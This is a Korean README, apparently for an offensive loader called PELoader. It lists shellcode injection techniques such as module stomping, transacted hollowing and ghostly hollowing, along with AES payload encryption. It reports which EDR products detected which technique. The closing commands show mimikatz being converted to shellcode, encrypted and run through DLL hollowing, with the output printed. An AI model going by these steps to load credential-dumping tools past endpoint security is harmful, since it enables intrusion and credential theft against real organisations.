
다양한 셸코드 인젝션 기술을 갖춘 PE 로더
PELoader는 다양한 셸코드 인젝션 기법을 구현하며, 원격 스레드에 셸코드를 주입하는 대신 libpeconv 라이브러리를 사용하여 암호화된 PE 파일을 로드합니다.
다음 기법들이 구현되었습니다:
크레딧: 대부분의 작업은 @hasherezade의 PoC 스크립트를 기반으로 했습니다.
PELoader는 Windows 10에서 Cortex XDR / SentinelOne / Windows Defender / CrowdStrike와 함께 테스트되었으며, Windows Defender / CrowdStrike는 Transacted Hollowing 기법을 탐지했습니다. 각 기법의 특성은 @forrest-orr의 메모리 스캐너 도구 Moneta로 테스트되었습니다.
모듈 스톰핑 (LoadLibrary)
LoadLibrary를 호출하여 합법적인 DLL을 로드합니다. DLL을 페이로드로 덮어씁니다.
장점

모듈 스톰핑 (NtMapViewOfSection)
NtCreateSection을 호출하여 합법적인 DLL에 대한 파일 매핑 객체(PAGE_READONLY)를 생성하고, NtMapViewOfSection을 호출하여 현재 프로세스에 매핑합니다. DLL을 페이로드로 덮어씁니다.
장점
단점

@hasherezade의 PoC 참조.
트랜잭티드 할로잉 (Transacted Hollowing)
프로세스 할로잉(Process Hollowing)과 프로세스 도플갱잉(Process Doppelgänging)의 하이브리드입니다. NTFS 트랜잭션 내에 "보이지 않는" 파일을 생성하고 페이로드를 파일에 씁니다. 섹션을 현재 프로세스에 매핑하고 실행합니다.
장점
단점

고스틀리 할로잉 (Ghostly Hollowing)
프로세스 할로잉(Process Hollowing)과 프로세스 고스팅(Process Ghosting)의 하이브리드입니다. 삭제 보류 상태의 파일을 생성하고 페이로드를 파일에 씁니다. 섹션을 현재 프로세스에 매핑하고 실행합니다.
장점
단점
@hasherezade의 PoC 참조.
NtMapViewOfSection (RWX-RW-RX)
NtCreateSection을 호출하여 메모리 섹션(RWX)을 생성합니다. NtMapViewOfSection을 호출하여 현재 프로세스에 뷰를 매핑합니다(RWX). VirtualProtect를 호출하여 보호를 RW로 변경합니다. 셸코드를 매핑된 섹션에 복사합니다. 보호를 RX로 변경하고 실행합니다.
장점
단점

NtAllocateVirtualMemory (RW-RX)
NtAllocateVirtualMemory를 호출하여 메모리(RW)를 할당합니다. 셸코드를 메모리에 복사합니다. 보호를 RX로 변경하고 실행합니다.
장점
단점

AES 페이로드 암호화
pe_to_shellcode를 사용하여 PE 파일을 셸코드로 변환하고 PELoader로 암호화합니다.
cmd> .\pe2shc.exe mimikatz.exe
Reading module from: mimikatz.exe
[WARNING] This is a console application! The recommended subsystem is GUI.
[+] Saved as: mimikatz.shc.exe
cmd> set hagrid=enc mimikatz.shc.exe
cmd> .\PELoader.exe
argument: enc mimikatz.shc.exe
Encrypting File
PE 실행
환경 변수 "hagrid"에 인수를 설정하고 PELoader를 실행합니다.
cmd> set hagrid=cdll mimikatz.shc.exe.enc
cmd> .\PELoader.exe version
argument: cdll mimikatz.shc.exe.enc
Classic DLL Hollowing
[*] target dll: C:\WINDOWS\system32\aadtb.dll
[*] implant dll: mimikatz.shc.exe.enc
[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...
[*] Overwriting the mapping
[*] Module Overloading finished...
[*] Executing Implant's Entry Point: 7ff8cf9d7578
[*] Executing Implant as EXE
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19043 (arch x64)
msvc 150030729 207
mimikatz #